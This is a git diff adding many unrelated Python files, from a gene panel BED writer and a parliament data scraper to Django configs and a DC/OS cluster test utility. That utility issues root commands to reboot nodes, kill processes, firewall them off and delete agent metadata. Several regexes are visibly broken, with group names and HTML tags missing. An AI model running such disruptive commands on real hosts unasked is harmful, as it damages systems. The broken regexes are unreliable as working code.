self.logger.warning("Unable to set option {} to '{}'. Using default {}" + .format(value_type, value, GPCOptions.defaults[value_type])) + return GPCOptions.defaults[value_type] + elif value_type == 'fmt': + if value in GPCOptions.fmts: + return value + else: + self.logger.warning("Unable to set option {} to '{}'. Using default {}" + .format(value_type, value, GPCOptions.defaults[value_type])) + return GPCOptions.defaults[value_type] + elif value_type in ('t_types', 't_sources'): + raise NotImplementedError + else: + raise NotImplementedError + + def __setitem__(self, key, value): + self._cont[key] = value + + def __getitem__(self, item): + return self._cont[item] + + def __delitem__(self, key): + del self._cont[key] + + +class GenePanelCreator(object): + """Runner class of Gene Panel Creator (GPC) + + Create GPC instance, prepare genes for writing and write them out. + """ + + def __init__(self, idx_file, log_file='gene_panel_creator.log', **kwargs): + """Initialize runner & run options""" + libgpc.setup_logging(log_file) + self.logger = logging.getLogger('gene_panel_creator') + self.idx_file = idx_file + self.out_fmt = GPCOptions(**kwargs) + + def prepare_genes(self, file_with_ids): + """Detect id types of genes, find & return gene objects from gtf file + :param file_with_ids: path to file with gene IDs + :type file_with_ids: str + :return: gtf_to_genes.t_gene objects + :rtype: list + """ + gtfm = libgpc.GTFManager(self.idx_file) + tag_type = sniff_id_types(file_with_ids) + if tag_type == 'ENS_GENE': + ids = load_ensembl_ids(file_with_ids) + return gtfm.get_genes_by_ens_ids(ids) + elif tag_type == 'ASSOC_GENE_NAME': + ids = load_gene_names(file_with_ids) + return gtfm.get_genes_by_assoc_names(ids) + else: + raise NotImplementedError + + def write_out_results(self, genes, out_path): + """Write gene objects in bed format. Apply padding, extend upstream & downstream regions etc..""" + dt = datetime.datetime.now() + str_date = [str(x) for x in dt.timetuple()[:-3]] + with open(out_path, 'w') as out: + out.write("#Generated by gene_panel_creator {} at {}\n".format(VERSION, '-'.join(str_date))) + self.logger.info("Writing {} genes to file '{}'".format(len(genes), out_path)) + self.logger.info("Writing records in '{}' format".format(self.out_fmt['fmt'])) + for gene in genes: + sg = libgpc.Gene2BedFormatter(gene) + # TODO - apply options + if self.out_fmt['upstream']: + sg.add_upstream(self.out_fmt['upstream']) + if self.out_fmt['downstream']: + sg.add_downstream(self.out_fmt['downstream']) + if self.out_fmt['five_padding']: + sg.add_5_exon_padding(self.out_fmt['five_padding']) + if self.out_fmt['three_padding']: + sg.add_3_exon_padding(self.out_fmt['three_padding']) + + for writable in sg.to_be_written(self.out_fmt['fmt']): + out.write(writable + '\n') + + +if __name__ == '__main__': + args = parse_arguments() + if not args.out_file: + out_path = libgpc.get_nice_path(args.gene_ids) + else: + out_path = args.out_file + if not args.log_path: + log_path = libgpc.get_nice_path(args.gene_ids, suffix='log') + else: + log_path = args.log_path + + gpc = GenePanelCreator(args.index_file, log_file=log_path, + fmt=args.fmt, five_padding=args.five_exon_padding, + three_padding=args.three_exon_padding, + upstream=args.upstream, downstream=args.downstream, + ) + gn = gpc.prepare_genes(args.gene_ids) + gpc.write_out_results(gn, out_path) diff --git a/pool/shard009/Python/0082041_task.py b/pool/shard009/Python/0082041_task.py new file mode 100644 index 0000000000000000000000000000000000000000..cbe936d38b8cf35ca78a1673601392386a8b8c97 --- /dev/null +++ b/pool/shard009/Python/0082041_task.py @@ -0,0 +1,35 @@ +import sys +import time +import asyncio +from .spinner import Spinner +from .color import Color + + +class Task: + def __init__(self, title): + self.running = True + self.task = asyncio.ensure_future(self.process()) + self.success = False + self.title = title + self.start = time.time() + + def stop(self, success): + self.running = False + self.success = success + self.duration = time.time() - self.start + + async def process(self): + spinner = Spinner() + while self.running: + sys.stdout.write(f'{self.title:.<76}{spinner.next}\r') + sys.stdout.flush() + await asyncio.sleep(0.2) + + if self.success: + print( + f'{self.title:.<76}' + f'{Color.success("OK")} ({self.duration:.2f} seconds)') + else: + print( + f'{self.title:.<76}' + f'{Color.error("FAILED")} ({self.duration:.2f} seconds)') diff --git a/pool/shard009/Python/0082043_majex.py b/pool/shard009/Python/0082043_majex.py new file mode 100644 index 0000000000000000000000000000000000000000..f40ece2efcb343014c87b5766aa59ef8c97d78a1 --- /dev/null +++ b/pool/shard009/Python/0082043_majex.py @@ -0,0 +1,71 @@ +#! /usr/bin/python2.3 + +import re +import xml.sax +import sys +import string +import os +from resolvemembernames import memberList + +###################################################################### +# Read wrans count + +class WransCount(xml.sax.handler.ContentHandler): + def __init__(self): + self.count={} + + def startElement(self, name, attr): + """ This handler is invoked for each XML element (during loading)""" + if (name == "speech") and (attr["type"] == "ques"): + id = attr["speakerid"] + id = re.sub("uk.org.publicwhip/member/", "", id) + self.count.setdefault(id, 0) + self.count[id] += 1 + +wranscount = WransCount() +parser = xml.sax.make_parser() +parser.setContentHandler(wranscount) +dir = "/home/francis/pwdata/pwscrapedxml/wrans/" +fdirin = os.listdir(dir) +for fin in fdirin: + print >>sys.stderr, fin + parser.parse(dir + fin) + + +###################################################################### +# Read rebellions + +f = open("rebellions.txt") +rb = f.read() +f.close() +rbl = re.findall("(.*?)\n", rb) +rs = {} +for x in rbl: + (mp, r) = re.split("\t", x) + rs[mp] = r + +###################################################################### +# Read majorities + +s = "../rawdata/majorities2001.html" + +f = open(s, "r") +tx = f.read() +f.close() + +sl = re.split("]*>([\s\S]*?)(?i)", tx) + +mpt = sl[3] + +pr = re.findall("]*>(.*?)(?:]*>)?([^<]*?)(?:)?(?:]*>)?(.*?)(?:)?]*>(?:]*>)?(.*?)(?:)?.*?(?i)", mpt) + +for jp in pr: + maj = string.atoi(string.replace(jp[3], ",", "")) + id = memberList.matchfulldivisionname(jp[1], '2001-06-07') + if id[0] <> "unknown": + thisid = re.sub("uk.org.publicwhip/member/", "", id[0]) + print "%s, %s" % (maj, wranscount.count.setdefault(thisid, 0)) + #print jp +# rs[thisid], + + diff --git a/pool/shard009/Python/0082044_02a_gDCNN_label_check.py b/pool/shard009/Python/0082044_02a_gDCNN_label_check.py new file mode 100644 index 0000000000000000000000000000000000000000..92ddcb1bf8a42fa1a59e753d6904ab233d346183 --- /dev/null +++ b/pool/shard009/Python/0082044_02a_gDCNN_label_check.py @@ -0,0 +1,89 @@ +""" +gDCNN label_check + + check ECG and EOG labelled ICA components and artifact rejection performance + +""" + +# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# +# import libraries +# +# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +import os.path as op +from mne.report import Report +from distutils.dir_util import mkpath +from dcnn_base import DCNN_CONFIG +from dcnn_main import DCNN +from dcnn_utils import find_files +from dcnn_logger import setup_script_logging +logger = setup_script_logging() + + +# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# select your config file +# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# fnconfig = 'config_4D_CAU.yaml' +# fnconfig = 'config_4D_INTEXT.yaml' +fnconfig = 'config_4D_Freeviewing.yaml' +# fnconfig = 'config_MEGIN.yaml' +# fnconfig = 'config_CTF_Paris.yaml' +# fnconfig = 'config_CTF_Philly.yaml' + + +# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# load config details and file list to process +# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# read config +cfg = DCNN_CONFIG(verbose=True) +cfg.load(fname=fnconfig) +dcnn = DCNN(**cfg.config) + +# get file list to process +path_in = dcnn.path.data_train +path_out = dcnn.path.report + '/' +mkpath(path_out) + +# read list of files +fnames = find_files(path_in, pattern='*.npz') +msg=["ICA Check & AR performance", + " -> path_in : {}".format(path_in), + " -> path_out: {}".format(path_out), + " --> files:\n -> {}".format("\n -> ".join(fnames)) + ] +logger.info("\n".join(msg)) +assert fnames,"ERROR no files found" + +# report +# prefix = '_'.join(str.split(str.split( dcnn.path.data_train, dcnn.path.basedir)[-1],'/')[2:]) +prefix = cfg.config['meg']['location'] + '_' + cfg.config['meg']['exp_name'] +fnreport = path_out + prefix + '_label_check' +report = Report(title='Check IC labels & AR Performance') +logger.info("START MNE report: {}".format(fnreport)) + +do_save_h5 = False + +# ++++++++++++++++++++++++++++++++++++++++++++++ +# +# loop across files to process +# +#++++++++++++++++++++++++++++++++++++++++++++++ +for fname in fnames: + + # init object with config details + dcnn.load_gdcnn(fname) + name = op.basename(fname[:-4]) + # print('>>> working on %s' % name) + + # check IC labels (and apply corrections) + figs, captions = dcnn.plot_ica_traces(fname) + report.add_figs_to_section(figs, captions=captions, section='ICA components', replace=True) + + figs, captions = dcnn.plot_artifact_performance() + report.add_figs_to_section(figs, captions=captions, section='AR performance', replace=True) + +if do_save_h5: + report.save(fnreport + '.h5', overwrite=True) +report.save(fnreport + '.html', overwrite=True, open_browser=True) +logger.info("\nDONE MNE report: {}".format(fnreport)) + diff --git a/pool/shard009/Python/0082045_ex11.py b/pool/shard009/Python/0082045_ex11.py new file mode 100644 index 0000000000000000000000000000000000000000..ebec06e7f56621e0b00655cfb5d125769a0e635b --- /dev/null +++ b/pool/shard009/Python/0082045_ex11.py @@ -0,0 +1,18 @@ +print "How old are you?", +age = raw_input() +print "How tall are you?", +height = raw_input() +print "How much do you weigh?", +weight = raw_input() +print "So, you're %r old, %r tall and %r heavy." % ( +age, height, weight) + + + +print "What's your name:" +name = raw_input() + +print "So your name is %s?" % name, "Really?" +print "Y or N:" +raw_input() +print "Sound like a lie but... Thank you %s! :-)" % name \ No newline at end of file diff --git a/pool/shard009/Python/0082047_0003_developer.py b/pool/shard009/Python/0082047_0003_developer.py new file mode 100644 index 0000000000000000000000000000000000000000..1791a806c57c29d5cc11479d2eb47a0e09ed1f05 --- /dev/null +++ b/pool/shard009/Python/0082047_0003_developer.py @@ -0,0 +1,25 @@ +# encoding: utf8 +from django.db import models, migrations +from django.conf import settings + + +class Migration(migrations.Migration): + + dependencies = [ + ('users', '0002_user'), + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.CreateModel( + name='Developer', + fields=[ + (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)), + ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL, to_field=u'id')), + ('api_key', models.CharField(max_length=64)), + ], + options={ + }, + bases=(models.Model,), + ), + ] diff --git a/pool/shard009/Python/0082051_nbc.py b/pool/shard009/Python/0082051_nbc.py new file mode 100644 index 0000000000000000000000000000000000000000..3bc9dae6de4db9a71d8d2261030f604f6abc14ce --- /dev/null +++ b/pool/shard009/Python/0082051_nbc.py @@ -0,0 +1,33 @@ +import re +import xml.etree.ElementTree + +from .common import InfoExtractor +from ..utils import find_xpath_attr, compat_str + + +class NBCNewsIE(InfoExtractor): + _VALID_URL = r'https?://www\.nbcnews\.com/video/.+?/(?P\d+)' + + _TEST = { + u'url': u'http://www.nbcnews.com/video/nbc-news/52753292', + u'file': u'52753292.flv', + u'md5': u'47abaac93c6eaf9ad37ee6c4463a5179', + u'info_dict': { + u'title': u'Crew emerges after four-month Mars food study', + u'description': u'md5:24e632ffac72b35f8b67a12d1b6ddfc1', + }, + } + + def _real_extract(self, url): + mobj = re.match(self._VALID_URL, url) + video_id = mobj.group('id') + info_xml = self._download_webpage('http://www.nbcnews.com/id/%s/displaymode/1219' % video_id, video_id) + info = xml.etree.ElementTree.fromstring(info_xml.encode('utf-8')).find('video') + + return {'id': video_id, + 'title': info.find('headline').text, + 'ext': 'flv', + 'url': find_xpath_attr(info, 'media', 'type', 'flashVideo').text, + 'description': compat_str(info.find('caption').text), + 'thumbnail': find_xpath_attr(info, 'media', 'type', 'thumbnail').text, + } diff --git a/pool/shard009/Python/0082057_contacts.py b/pool/shard009/Python/0082057_contacts.py new file mode 100644 index 0000000000000000000000000000000000000000..c23d96f5da6d9b9c94754ee066aa03b335e04d38 --- /dev/null +++ b/pool/shard009/Python/0082057_contacts.py @@ -0,0 +1,75 @@ +from persistent import Persistent +from repoze.catalog.indexes.keyword import CatalogKeywordIndex +from repoze.catalog.indexes.text import CatalogTextIndex +from repoze.catalog.interfaces import ICatalog +from zope.component import createObject +from zope.interface import implementer +from zope.component.factory import Factory +from zope.interface import implements +from zope.interface.exceptions import DoesNotImplement +from zope.schema.fieldproperty import FieldProperty +from sparc.catalog.repoze import IDocumentMap +from sparc.entity import SparcEntity +from interfaces import IContact + +class SparcContact(SparcEntity): + implements(IContact) + + def __init__(self, **kwargs): + super(SparcContact, self).__init__(**kwargs) + for field in ['email_addresses', + 'phone_numbers', + 'postal_addresses', + 'companies']: + if field in kwargs: + setattr(self, field, kwargs[field]) + + email_addresses = FieldProperty(IContact['email_addresses']) + phone_numbers = FieldProperty(IContact['phone_numbers']) + postal_addresses = FieldProperty(IContact['postal_addresses']) + companies = FieldProperty(IContact['companies']) + +sparcContactFactory = Factory(SparcContact) + + +class PersistentSparcContact(SparcContact, Persistent): + """A Sparc Contact that can be persisted in a ZODB""" + implements(IContact) +persistentSparcContactFactory = Factory(PersistentSparcContact) + + +# ICatalog for contacts +@implementer(ICatalog) +def contacts_catalog_factory_helper(doc_map=None): + if not IDocumentMap.providedBy(doc_map): + raise DoesNotImplement(IDocumentMap) + # We need to add some indexes to the default IEntity ones that come with + # sparc.catalog.repoze.entity_catalog. These are helper functions to get the + # strings that will be indexed. + def list_attribute_entries(attr, object, default): + return [a for a in (getattr(object, attr))] if hasattr(object, attr) else default + def index_email_addresses(contact, default): + return list_attribute_entries('email_addresses', contact, default) + def index_phone_numbers(contact, default): + return list_attribute_entries('phone_numbers', contact, default) + def index_postal_addresses(contact, default): + return list_attribute_entries('postal_addresses', contact, default) + def index_email_domain(contact, default): + domains = [] + if getattr(contact, 'email_addresses', None): + domains = map(lambda e: e.partition('@')[2], contact.email_addresses) + return domains if domains else default + + # Add IContact-secific indexes into catalog + catalog = createObject(u"sparc.catalog.repoze.entity_catalog", + doc_map=doc_map) + catalog['email_addresses'] = CatalogKeywordIndex(index_email_addresses) + catalog['email_addresses_text'] = CatalogTextIndex(index_email_addresses) + catalog['phone_numbers'] = CatalogKeywordIndex(index_phone_numbers) + catalog['phone_numbers_text'] = CatalogTextIndex(index_phone_numbers) + catalog['postal_addresses_text'] = CatalogTextIndex(index_postal_addresses) + # this one's specific to the IDirectory interface + catalog['email_domain'] = CatalogKeywordIndex(index_email_domain) + catalog['email_domain_text'] = CatalogTextIndex(index_email_domain) + return catalog +contactsCatalogFactory = Factory(contacts_catalog_factory_helper) diff --git a/pool/shard009/Python/0082059_urls.py b/pool/shard009/Python/0082059_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..ca155081bc2c42bc812188003ddac77ca3edf65d --- /dev/null +++ b/pool/shard009/Python/0082059_urls.py @@ -0,0 +1,23 @@ +from django.conf.urls import patterns, include, url +from django.contrib import admin +from django.contrib.staticfiles.urls import staticfiles_urlpatterns +from django.conf import settings + +urlpatterns = patterns('', + url(r'^$', 'blog.views.home', name='home'), + url(r'^b/', include('blog.urls')), + url(r'^grappelli/', include('grappelli.urls')), + url(r'^admin/', include(admin.site.urls)), +) + +urlpatterns += staticfiles_urlpatterns() + +if settings.DEBUG: + urlpatterns += patterns('', + url(r'^media/(?P.*)$', 'django.views.static.serve', { + 'document_root': settings.MEDIA_ROOT, + }), + url(r'^static/(?P.*)$', 'django.views.static.serve', { + 'document_root': settings.STATIC_ROOT, + }), + ) \ No newline at end of file diff --git a/pool/shard009/Python/0082062_permissions.py b/pool/shard009/Python/0082062_permissions.py new file mode 100644 index 0000000000000000000000000000000000000000..2a6f4fdde76e44014bfbf3e9d1d10e7f9ba8dcf5 --- /dev/null +++ b/pool/shard009/Python/0082062_permissions.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- +from rest_framework import permissions +from rest_framework import exceptions + +from api.base.utils import get_user_auth +from osf.models import PreprintService +from website.util import permissions as osf_permissions +from reviews.workflow import States + + +class PreprintPublishedOrAdmin(permissions.BasePermission): + + def has_object_permission(self, request, view, obj): + assert isinstance(obj, PreprintService), 'obj must be a PreprintService' + node = obj.node + auth = get_user_auth(request) + if request.method in permissions.SAFE_METHODS: + if auth.user is None: + return obj.verified_publishable + else: + user_has_permissions = (obj.verified_publishable or + (node.is_public and auth.user.has_perm('view_submissions', obj.provider)) or + node.has_permission(auth.user, osf_permissions.ADMIN) or + (node.is_contributor(auth.user) and obj.reviews_state != States.INITIAL.value) + ) + return user_has_permissions + else: + if not node.has_permission(auth.user, osf_permissions.ADMIN): + raise exceptions.PermissionDenied(detail='User must be an admin to update a preprint.') + return True diff --git a/pool/shard009/Python/0082067_base.py b/pool/shard009/Python/0082067_base.py new file mode 100644 index 0000000000000000000000000000000000000000..7d0ec5c318bf08fcb43477f8332e382ffe62f281 --- /dev/null +++ b/pool/shard009/Python/0082067_base.py @@ -0,0 +1,34 @@ +class Geocoder(object): + def __init__(self, format_string='%s'): + self.format_string = format_string + + def geocode(self, location): + raise NotImplementedError + + def reverse(self, point): + raise NotImplementedError + + def geocode_one(self, location): + results = self.geocode(location) + first = None + for result in results: + if first is None: + first = result + else: + raise GeocoderResultError("Geocoder returned more than one result!") + if first is not None: + return first + else: + raise GeocoderResultError("Geocoder returned no results!") + + def geocode_first(self, location): + results = self.geocode(location) + for result in results: + return result + return None + +class GeocoderError(Exception): + pass + +class GeocoderResultError(GeocoderError): + pass diff --git a/pool/shard009/Python/0082069_test_flatgeobuf.py b/pool/shard009/Python/0082069_test_flatgeobuf.py new file mode 100644 index 0000000000000000000000000000000000000000..bdb8756f20032245f2e316fe9b19786f5b045fee --- /dev/null +++ b/pool/shard009/Python/0082069_test_flatgeobuf.py @@ -0,0 +1,13 @@ +import os +import shutil +from tests.workspace.workspacetest import WorkspaceTest +from geoscript.workspace import FlatGeobuf + +class FlatGeobufWorkspace_Test(WorkspaceTest): + + def setUp(self): + self.path = 'work/flatgeobufs' + if os.path.isdir(self.path): + shutil.rmtree(self.path) + os.mkdir(self.path) + self.ws = FlatGeobuf(self.path) diff --git a/pool/shard009/Python/0082070_test_codecmaps_kr.py b/pool/shard009/Python/0082070_test_codecmaps_kr.py new file mode 100644 index 0000000000000000000000000000000000000000..be198113e9e666b69b952103a7879cdf3760155b --- /dev/null +++ b/pool/shard009/Python/0082070_test_codecmaps_kr.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# +# test_codecmaps_kr.py +# Codec mapping tests for ROK encodings +# +# $CJKCodecs: test_codecmaps_kr.py,v 1.3 2004/06/19 06:09:55 perky Exp $ + +from test import test_support +from test import test_multibytecodec_support +import unittest + +class TestCP949Map(test_multibytecodec_support.TestBase_Mapping, + unittest.TestCase): + encoding = 'cp949' + mapfilename = 'CP949.TXT' + mapfileurl = 'http://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT' \ + '/WINDOWS/CP949.TXT' + + +class TestEUCKRMap(test_multibytecodec_support.TestBase_Mapping, + unittest.TestCase): + encoding = 'euc_kr' + mapfilename = 'EUC-KR.TXT' + mapfileurl = 'http://people.freebsd.org/~perky/i18n/EUC-KR.TXT' + + +class TestJOHABMap(test_multibytecodec_support.TestBase_Mapping, + unittest.TestCase): + encoding = 'johab' + mapfilename = 'JOHAB.TXT' + mapfileurl = 'http://www.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/' \ + 'KSC/JOHAB.TXT' + # KS X 1001 standard assigned 0x5c as WON SIGN. + # but, in early 90s that is the only era used johab widely, + # the most softwares implements it as REVERSE SOLIDUS. + # So, we ignore the standard here. + pass_enctest = [('\\', u'\u20a9')] + pass_dectest = [('\\', u'\u20a9')] + +def test_main(): + suite = unittest.TestSuite() + suite.addTest(unittest.makeSuite(TestCP949Map)) + suite.addTest(unittest.makeSuite(TestEUCKRMap)) + suite.addTest(unittest.makeSuite(TestJOHABMap)) + test_support.run_suite(suite) + +test_multibytecodec_support.register_skip_expected(TestCP949Map, + TestEUCKRMap, TestJOHABMap) +if __name__ == "__main__": + test_main() diff --git a/pool/shard009/Python/0082071_node-pakiti2-json.py b/pool/shard009/Python/0082071_node-pakiti2-json.py new file mode 100644 index 0000000000000000000000000000000000000000..7b6f97b72911ef8a32d8bc46ae26fb6b92ae9d08 --- /dev/null +++ b/pool/shard009/Python/0082071_node-pakiti2-json.py @@ -0,0 +1,45 @@ +#!/usr/bin/python +import httplib +from sys import argv, exit +import ConfigParser +from os.path import exists + +USER_CONFIG = "config/user-config.ini" +DEFAULT_CONFIG = "config/default-config.ini" + +# Calling ini file +config = ConfigParser.ConfigParser() +if exists(USER_CONFIG): + config.read(USER_CONFIG) +else: + config.read(DEFAULT_CONFIG) + +WEBHOST = config.get("PAKITI", "URL") +KEYFILE = config.get("PAKITI", "KEYFILE") +CERTFILE = config.get("PAKITI", "CERTFILE") + +if len(argv) == 2: + host = argv[1] + + # connection details + uri = '/pakiti/host-json.php?h=' + host + + conn = httplib.HTTPSConnection( + WEBHOST, + key_file = KEYFILE, + cert_file = CERTFILE + ) + + try: + conn.putrequest('GET', uri) + conn.endheaders() + response = conn.getresponse() + print(response.read()) + + except: + print('Cannot Connect') + +else: + # no search requested + print('No search requested') + exit(1) diff --git a/pool/shard009/Python/0082073_agent.py b/pool/shard009/Python/0082073_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..afc38364f5e37ee1a608ab9ae00742bf838303ad --- /dev/null +++ b/pool/shard009/Python/0082073_agent.py @@ -0,0 +1,233 @@ +"""Utilities for working with agents""" + +import contextlib +import logging +import os +import pytest + +from . import network +from .command import run_command_on_agent +from ..clients import mesos + + +logger = logging.getLogger(__name__) + + +def get_public_agents(): + """Provides a list of hostnames / IPs that are public agents in the cluster""" + agent_list = [] + agents = _get_all_agents() + for agent in agents: + for reservation in agent["reserved_resources"]: + if "slave_public" in reservation: + agent_list.append(agent["hostname"]) + + return agent_list + + +def get_private_agents(): + """Provides a list of hostnames / IPs that are private agents in the cluster""" + + agent_list = [] + agents = _get_all_agents() + for agent in agents: + if(len(agent["reserved_resources"]) == 0): + agent_list.append(agent["hostname"]) + else: + private = True + for reservation in agent["reserved_resources"]: + if("slave_public" in reservation): + private = False + + if(private): + agent_list.append(agent["hostname"]) + + return agent_list + + +def get_agents(): + """Provides a list of hostnames / IPs of all agents in the cluster""" + + agent_list = [] + agents = _get_all_agents() + for agent in agents: + agent_list.append(agent["hostname"]) + + return agent_list + + +def _get_all_agents(): + """Provides all agent json in the cluster which can be used for filtering""" + + client = mesos.DCOSClient() + agents = client.get_state_summary()['slaves'] + return agents + + +ALLOW_SSH = '-I INPUT -p tcp --dport 22 -j ACCEPT' +ALLOW_PING = '-I INPUT -p icmp -j ACCEPT' +DISALLOW_MESOS = '-I OUTPUT -p tcp --sport 5051 -j REJECT' +DISALLOW_INPUT = '-A INPUT -j REJECT' + + +def partition_agent(host): + """ Partition a node from all network traffic except for SSH and loopback + + :param hostname: host or IP of the machine to partition from the cluster + """ + + network.save_iptables(host) + network.flush_all_rules(host) + network.allow_all_traffic(host) + network.run_iptables(host, ALLOW_SSH) + network.run_iptables(host, ALLOW_PING) + network.run_iptables(host, DISALLOW_MESOS) + network.run_iptables(host, DISALLOW_INPUT) + + +def reconnect_agent(host): + """ Reconnect a previously partitioned node to the network + + :param hostname: host or IP of the machine to partition from the cluster + """ + + network.restore_iptables(host) + + +@contextlib.contextmanager +def disconnected_agent(host): + + partition_agent(host) + try: + yield + finally: + # return config to previous state + reconnect_agent(host) + + +def kill_process_on_host( + hostname, + pattern +): + """ Kill the process matching pattern at ip + + :param hostname: the hostname or ip address of the host on which the process will be killed + :param pattern: a regular expression matching the name of the process to kill + """ + + status, stdout = run_command_on_agent(hostname, "ps aux | grep -v grep | grep '{}'".format(pattern)) + pids = [p.strip().split()[1] for p in stdout.splitlines()] + + for pid in pids: + status, stdout = run_command_on_agent(hostname, "sudo kill -9 {}".format(pid)) + if status: + logger.info("Killed pid: %s", pid) + else: + logger.info("Unable to kill pid: %s", pid) + + +def kill_process_from_pid_file_on_host(hostname, pid_file='app.pid'): + """ Retrieves the PID of a process from a pid file on host and kills it. + + :param hostname: the hostname or ip address of the host on which the process will be killed + :param pid_file: pid file to use holding the pid number to kill + """ + status, pid = run_command_on_agent(hostname, 'cat {}'.format(pid_file)) + status, stdout = run_command_on_agent(hostname, "sudo kill -9 {}".format(pid)) + if status: + logger.info("Killed pid: %s", pid) + run_command_on_agent(hostname, 'rm {}'.format(pid_file)) + else: + logger.info("Unable to kill pid: %s", pid) + + +def restart_agent( + hostname +): + """ Restarts an agent process at the host + + :param hostname: host or IP of the machine to restart the agent process. + """ + + run_command_on_agent(hostname, "sudo systemctl restart dcos-mesos-slave") + + +def stop_agent( + hostname +): + """ Stops an agent process at the host + + :param hostname: host or IP of the machine to stop the agent process. + """ + + run_command_on_agent(hostname, "sudo systemctl stop dcos-mesos-slave") + + +def start_agent( + hostname +): + """ Starts an agent process at the host + + :param hostname: host or IP of the machine to start the agent process. + """ + + run_command_on_agent(hostname, "sudo systemctl start dcos-mesos-slave") + + +def restart_agent_node(hostname): + """ Restarts the agent node + """ + + run_command_on_agent(hostname, "sudo /sbin/shutdown -r now") + + +def delete_agent_log( + hostname +): + """ Deletes the agent log at the host. This is necessary if any changes + occurred to the agent resources and the agent is restarted. + + :param hostname: host or IP of the machine to delete the agent log. + """ + + run_command_on_agent(hostname, "sudo rm -f /var/lib/mesos/slave/meta/slaves/latest") + + +def shakedown_dcos_dir(): + """Gets the path to the shakedown dcos directory""" + return os.path.dirname(os.path.realpath(__file__)) + + +def required_private_agents(count): + """ Returns True if the number of private agents is equal to or greater than + the count. This is useful in using pytest skipif such as: + `pytest.mark.skipif('required_private_agents(2)')` which will skip the test if + the number of agents is not 2 or more. + + :param count: the number of required private agents. + """ + agent_count = len(get_private_agents()) + # reverse logic (skip if less than count) + # returns True if less than count + return agent_count < count + + +def required_public_agents(count): + """ Returns True if the number of public agents is equal to or greater than + the count. This is useful in using pytest skipif such as: + `pytest.mark.skipif('required_public_agents(2)')` which will skip the test if + the number of agents is not 2 or more. + + :param count: the number of required public agents. + """ + agent_count = len(get_public_agents()) + # reverse logic (skip if less than count) + return agent_count < count + + +def private_agents(count=1): + return pytest.mark.skipif('required_private_agents({})'.format(count)) + + +def public_agents(count=1): + return pytest.mark.skipif('required_public_agents({})'.format(count)) diff --git a/pool/shard009/Python/0082075_test_pystone.py b/pool/shard009/Python/0082075_test_pystone.py new file mode 100644 index 0000000000000000000000000000000000000000..9d3a9e4eb0a4c7cc6d7d387c0a37034dd28a6a55 --- /dev/null +++ b/pool/shard009/Python/0082075_test_pystone.py @@ -0,0 +1,22 @@ +# Licensed to the .NET Foundation under one or more agreements. +# The .NET Foundation licenses this file to you under the Apache 2.0 License. +# See the LICENSE file in the project root for more information. + + + +""" This provides a more convenient harness for running this + benchmark and collecting separate timings for each component. +""" + +import sys, os +sys.path.append(os.path.join([os.environ[x] for x in os.environ.keys() if x.lower() == "dlr_root"][0], "External.LCA_RESTRICTED", "Languages", "IronPython", "27", "Lib", "test")) + +def test_main(type="short"): + import pystone + loops = { "full": 50000, "short" : 50000, "medium" : 250000, "long" : 1000000 }[type] + pystone.main(loops) + +if __name__=="__main__": + kind = "short" + if len(sys.argv) > 1: kind = sys.argv[1] + test_main(kind) diff --git a/pool/shard009/Python/0082076_setup.py b/pool/shard009/Python/0082076_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..432b01cd9402cafc0d29ebeb9730c47c8130408c --- /dev/null +++ b/pool/shard009/Python/0082076_setup.py @@ -0,0 +1,50 @@ +#!/usr/bin/python + +import os + +try: + from setuptools import setup, find_packages +except ImportError: + from ez_setup import use_setuptools + use_setuptools() + from setuptools import setup, find_packages + + +def read(*rnames): + return open(os.path.join(os.path.dirname(__file__), *rnames)).read() + +required_deps = ['SQLAlchemy >= 0.6', + 'decorator', 'Tempita >= 0.4', 'setuptools'] +readme_file = open(os.path.join(os.path.dirname(os.path.abspath(__file__)), + 'README.rst')) + +setup( + name="sqlalchemy-migrate", + version='0.9.0.dev0', + packages=find_packages(exclude=["migrate.tests*"]), + include_package_data=True, + description="Database schema migration for SQLAlchemy", + long_description=(read('README.rst') + + '\n\n' + + 'Detailed Documentation\n' + '**********************' + + '\n\n' + + read('CHANGES.txt') + ), + install_requires = required_deps, + extras_require = { + 'docs': ['sphinx >= 0.5'], + }, + author = "Evan Rosson", + author_email = "evan.rosson@gmail.com", + url = "http://code.google.com/p/sqlalchemy-migrate/", + maintainer = "Jan Dittberner", + maintainer_email = "jan@dittberner.info", + license = "MIT", + entry_points = """ + [console_scripts] + migrate = migrate.versioning.shell:main + migrate-repository = migrate.versioning.migrate_repository:main + """, + test_suite = "nose.collector", +) diff --git a/pool/shard009/Python/0082079_debugger_case_gui_event_loop_qt5.py b/pool/shard009/Python/0082079_debugger_case_gui_event_loop_qt5.py new file mode 100644 index 0000000000000000000000000000000000000000..c9d3871af41142433c5384aae4cd5a0b028f4375 --- /dev/null +++ b/pool/shard009/Python/0082079_debugger_case_gui_event_loop_qt5.py @@ -0,0 +1,51 @@ +def call_method(): + + from _pydevd_bundle.pydevd_constants import get_global_debugger + py_db = get_global_debugger() + + # Check state prior to breaking + assert not py_db.gui_in_use + assert py_db._installed_gui_support + assert py_db._gui_event_loop == 'qt5' + + import os + import PySide2 + from PySide2.QtCore import QTimer + + dirname = os.path.dirname(PySide2.__file__) + plugin_path = os.path.join(dirname, 'plugins', 'platforms') + if os.path.exists(plugin_path): + os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = plugin_path + + from PySide2 import QtWidgets + + app = QtWidgets.QApplication([]) + + def on_timeout(): + print('on_timeout() called') + + print_timer = QTimer() + print_timer.timeout.connect(on_timeout) + print_timer.setInterval(100) + print_timer.start() + + def on_break(): + print('break here') + app.quit() + + break_on_timer = QTimer() + break_on_timer.timeout.connect(on_break) + break_on_timer.setSingleShot(True) 